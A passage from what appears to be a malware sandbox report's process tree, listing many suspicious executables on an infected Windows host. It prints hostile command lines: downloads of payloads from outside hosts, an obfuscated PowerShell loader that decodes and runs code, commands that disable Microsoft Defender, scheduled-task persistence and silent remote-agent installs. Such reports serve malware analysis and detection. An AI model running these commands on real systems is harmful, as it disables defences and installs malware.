    PID:7492
  - - C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe
      "C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"
      4⤵
      PID:2608
- - C:\Users\Admin\AppData\Local\Temp\a\ThornFlash3Client.exe
    ThornFlash3Client.exe
    3⤵
    PID:8576
- - C:\Users\Admin\AppData\Local\Temp\a\kononiaZClient.exe
    kononiaZClient.exe
    3⤵
    PID:8952
- - C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe
    file_37b904483beaa60e.exe
    3⤵
    PID:10092
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"
      4⤵
      PID:9376
- - C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe
    Ebu.exe
    3⤵
    PID:9384
- - C:\Users\Admin\AppData\Local\Temp\a\EagleJetClient4.exe
    EagleJetClient4.exe
    3⤵
    PID:2960
- - C:\Users\Admin\AppData\Local\Temp\a\php.exe
    php.exe
    3⤵
    PID:2052
- - C:\Users\Admin\AppData\Local\Temp\a\hilton.exe
    hilton.exe
    3⤵
    PID:9684
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x
      4⤵
      PID:10256
- - C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe
    acr-g1upd-639159296668701809.exe
    3⤵
    PID:7304
- - C:\Users\Admin\AppData\Local\Temp\a\fdClient.exe
    fdClient.exe
    3⤵
    PID:10152
- - C:\Users\Admin\AppData\Local\Temp\a\TitanuimXross01.exe
    TitanuimXross01.exe
    3⤵
    PID:10480
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe spx.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:10748
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys67547\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys67547\tmp515.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
      4⤵
      Executes a command shell one-liner
      PID:8316
    - - C:\Users\Public\Documents\Sys67547\msvcrt.dll
        
        C:\Users\Public\Documents\Sys67547\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys67547\tmp515.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
        5⤵
        
        PID:4632
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Sys67547\setup1.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:14536
    - - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Sys67547\setup1.vbs" /elevated
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:8924
      - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\Sys67547\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\Sys67547\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\Sys67547\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\Sys67547\DMRootCA.crt" /qn
        6⤵
        
        PID:8128
- - C:\Users\Admin\AppData\Local\Temp\a\1992.exe
    1992.exe
    3⤵
    PID:11048
- - C:\Users\Admin\AppData\Local\Temp\a\eagleClient004.exe
    eagleClient004.exe
    3⤵
    PID:11100
- - C:\Users\Admin\AppData\Local\Temp\a\EaglesTitan001.exe
    EaglesTitan001.exe
    3⤵
    PID:11140
- - C:\Users\Admin\AppData\Local\Temp\a\setup.exe
    setup.exe
    3⤵
    PID:8672
- - C:\Users\Admin\AppData\Local\Temp\a\EagleWingsDNA04.exe
    EagleWingsDNA04.exe
    3⤵
    PID:9680
- - C:\Users\Admin\AppData\Local\Temp\a\loader.exe
    loader.exe
    3⤵
    PID:5904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c color 0D
      4⤵
      Executes a command shell one-liner
      PID:11552
- - C:\Users\Admin\AppData\Local\Temp\a\finale.exe
    finale.exe
    3⤵
    PID:10196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:12096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W6258c489"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:12264
- - C:\Users\Admin\AppData\Local\Temp\a\whatever.exe
    whatever.exe
    3⤵
    PID:11728
- - C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe
    file_a6357da6a05d7266.exe
    3⤵
    PID:11764
- - C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe
    file_b584670f7ec2f317.exe
    3⤵
    PID:724
- - C:\Users\Admin\AppData\Local\Temp\a\Isass.exe
    Isass.exe
    3⤵
    PID:11724
  - - C:\Users\Admin\AppData\Local\Temp\a\Isass.exe
      Isass.exe
      4⤵
      PID:10524
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:5044
- - C:\Users\Admin\AppData\Local\Temp\a\MDClient.exe
    MDClient.exe
    3⤵
    PID:8140
- - C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:11860
  - - C:\Users\Admin\AppData\Local\67333d3a-3fda-46de-a460-ca6e56d9f9f6\background.exe
      "C:\Users\Admin\AppData\Local\67333d3a-3fda-46de-a460-ca6e56d9f9f6\background.exe"
      4⤵
      PID:15944
- - C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe
    kikikmoralibrary.exe
    3⤵
    PID:10828
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bfpqzy5p\bfpqzy5p.cmdline"
      4⤵
      PID:9696
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hlspaptc\hlspaptc.cmdline"
      4⤵
      PID:14308
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C59.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2DA1C8C631E44D87A3AB23B4DB39E419.TMP"
        5⤵
        
        PID:10752
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit
      4⤵
      Executes a command shell one-liner
      PID:14784
- - C:\Users\Admin\AppData\Local\Temp\a\sunwukongs.exe
    sunwukongs.exe
    3⤵
    PID:4128
- - C:\Users\Admin\AppData\Local\Temp\a\vnc.exe
    vnc.exe
    3⤵
    PID:7176
- - C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:1056
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:11580
- - C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:11924
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:6384
- - C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe
    RedX_Setup.exe
    3⤵
    PID:8208
  - - C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe
      C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe
      4⤵
      PID:12980
- - C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:4652
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:7056
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c WindowsLogonService.bat
    3⤵
    - Executes a command shell one-liner
    PID:13104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:rBIsWvhris;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'txUVnRbZxg' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6064
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe MaybeWorking.hta
    3⤵
    PID:13224
- - C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe
    Pulsar-Client.exe
    3⤵
    PID:9664
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe DetectionRateTesting.hta
    3⤵
    PID:4116
- - C:\Users\Admin\AppData\Local\Temp\a\123123.exe
    123123.exe
    3⤵
    PID:8012
- - C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exe
    Rsvp_invite%23903388.exe
    3⤵
    PID:6544
  - - C:\Program Files (x86)\CentraStage\Gui.exe
      "C:\Program Files (x86)\CentraStage\Gui.exe"
      4⤵
      PID:14264
- - C:\Users\Admin\AppData\Local\Temp\a\install.exe
    install.exe
    3⤵
    PID:11960
- - C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe
    file_c0d2eb6a8b73120b.exe
    3⤵
    PID:9968
- - C:\Users\Admin\AppData\Local\Temp\a\21.exe
    21.exe
    3⤵
    PID:12488
  - - C:\Users\Admin\AppData\Local\Temp\is-X72CLVPK44.tmp\21.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-X72CLVPK44.tmp\21.tmp" /SL5="$706D6,2635737,876544,C:\Users\Admin\AppData\Local\Temp\a\21.exe"
      4⤵
      PID:6088
- - C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exe
    PPTV(pplive)_forap_1084_9993.exe
    3⤵
    PID:13228
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"
      4⤵
      PID:1400
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i ScreenConnect.ClientSetup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:5060
- - C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe
    pardufrigi_installer_1.0.p1.exe
    3⤵
    PID:10544
  - - C:\Users\Admin\AppData\Local\Temp\is-FRB0BSOOUB.tmp\pardufrigi_installer_1.0.p1.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-FRB0BSOOUB.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$504EA,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"
      4⤵
      PID:9612
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6664
- - C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exe
    dajoke2.exe
    3⤵
    PID:9092
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10672
- - C:\Users\Admin\AppData\Local\Temp\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    %E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    3⤵
    PID:5072
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Approved%20Document%23402.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:6236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7752
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approved%20Document%23D53LU.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6512
- - C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    %E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    3⤵
    PID:7640
  - - C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
      C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
      4⤵
      PID:9380
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Ref62535.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:8200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6568
- - C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exe
    rustdesk-1.2.3-2-x86_64.exe
    3⤵
    PID:9860
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /F /IM RuntimeBroker_rustdesk.exe
      4⤵
      Kills process with taskkill
      PID:12244
  - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
      "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"
      4⤵
      PID:9740
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:10568
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:14112
    - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service
        5⤵
        
        PID:15316
    - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config
        5⤵
        
        PID:10644
    - - C:\Windows\system32\cmd.exe
        
        "cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"
        5⤵
        Executes a command shell one-liner
        
        PID:14444
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approval3546.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:14520
- - C:\Users\Admin\AppData\Local\Temp\a\beacon.exe
    beacon.exe
    3⤵
    PID:9292
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Order2390.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:12092
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i cl.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:3820
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Lapce-windows.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:11516
- - C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exe
    NAMUVPN7.exe
    3⤵
    PID:4084
  - - C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe
      "C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"
      4⤵
      PID:7132
- - C:\Users\Admin\AppData\Local\Temp\a\namuvpnxp.exe
    namuvpnxp.exe
    3⤵
    PID:7688
  - - C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe
      "C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"
      4⤵
      PID:7916
- - C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exe
    namuvpnx2.exe
    3⤵
    PID:15324
  - - C:\Users\Admin\AppData\Local\Temp\365vpnx2\365vpnx2.exe
      "C:\Users\Admin\AppData\Local\Temp\365vpnx2\365vpnx2.exe"
      4⤵
      PID:16972
- - C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exe
    NAMUVPN32.exe
    3⤵
    PID:13616
  - - C:\Users\Admin\AppData\Roaming\namu832.exe
      "C:\Users\Admin\AppData\Roaming\namu832.exe"
      4⤵
      PID:12368
- - C:\Users\Admin\AppData\Local\Temp\a\namu864.exe
    namu864.exe
    3⤵
    PID:13732
- - C:\Users\Admin\AppData\Local\Temp\a\imgs.exe
    imgs.exe
    3⤵
    PID:13936
  - - C:\ProgramData\WindowsDataC.exe
      "C:\ProgramData\WindowsDataC.exe"
      4⤵
      PID:9004
  - - C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe
      "C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"
      4⤵
      PID:15776
  - - C:\Users\Admin\AppData\Local\Temp\RunIt.exe
      "C:\Users\Admin\AppData\Local\Temp\RunIt.exe"
      4⤵
      PID:16456
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i UVSODSAE.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10640
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i AUHAVKIQ.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:1384
- - C:\Users\Admin\AppData\Local\Temp\a\IMG001.exe
    IMG001.exe
    3⤵
    PID:11028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
      4⤵
      Executes a command shell one-liner
      PID:7684
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im tftp.exe
        5⤵
        Kills process with taskkill
        
        PID:15616
  - - C:\Users\Admin\AppData\Local\Temp\tftp.exe
      "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
      4⤵
      PID:15864
- - C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exe
    TempSpoofer.exe
    3⤵
    PID:7728
- - C:\Users\Admin\AppData\Local\Temp\a\ShellHost.exe
    ShellHost.exe
    3⤵
    PID:7596
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8832

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
PID:4972
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    PID:3456
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2396
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    PID:4600
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:4772
- - C:\Windows\a\1158-27.exe
    1158-27.exe
    3⤵
    PID:4864
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv"
      4⤵
      PID:6204
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8164cc728,0x7ff8164cc734,0x7ff8164cc740
        5⤵
        
        PID:11632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=2040,i,11098835791261184277,7564263855172656650,262144 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:2
        5⤵
        
        PID:11328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,12165696246702730657,6560440343748003924,524288 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:1456
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --force-high-res-timeticks=disabled --metrics-shmem-handle=2440,i,5669072774219983718,2899522641702893621,524288 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:13
        5⤵
        
        PID:7404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3352,i,12976061058901870353,584083920178916216,2097152 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
        5⤵
        
        PID:9560
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3372,i,7355815415349308197,8103858672792592729,2097152 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
        5⤵
        
        PID:8864
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3524,i,11203580248543168018,10561880896226336846,2097152 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
        5⤵
        
        PID:7020
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3552,i,14417890391616009417,2739641967591768900,2097152 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:9
        5⤵
        
        PID:8076
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4080,i,12193428858543918292,543038232349743488,2097152 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:9
        5⤵
        
        PID:7128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bfkhncb2.0pv" --force-high-res-timeticks=disabled --metrics-shmem-handle=5112,i,10192195934320762565,13021433197294865211,524288 --field-trial-handle=2856,i,8266004022655650525,9514511499621905845,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:14
        5⤵
        
        PID:8748
- - C:\Windows\a\2.exe
    2.exe
    3⤵
    PID:6372
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:7384
- - C:\Windows\a\support.client.exe
    support.client.exe
    3⤵
    PID:8636
- - C:\Windows\a\Client-built.exe
    Client-built.exe
    3⤵
    PID:9956
- - C:\Windows\a\bot.exe
    bot.exe
    3⤵
    PID:9888
- - C:\Windows\a\file_f309f8496f916deb.exe
    file_f309f8496f916deb.exe
    3⤵
    PID:1204
- - C:\Windows\a\DaiDai.exe
    DaiDai.exe
    3⤵
    PID:7040
- - C:\Windows\a\build_x32.exe
    build_x32.exe
    3⤵
    PID:8172
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodwayforbestattendingthingsforme.hta
    3⤵
    PID:9224
- - C:\Windows\a\s.exe
    s.exe
    3⤵
    PID:4548
  - - C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe
      "C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"
      4⤵
      PID:8920
- - C:\Windows\a\chrome78.exe
    chrome78.exe
    3⤵
    PID:10660
- - C:\Windows\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:11372
- - C:\Windows\a\byk4d5tg4nyo.exe
    byk4d5tg4nyo.exe
    3⤵
    PID:6280
- - C:\Windows\a\5fzscnissh1s.exe
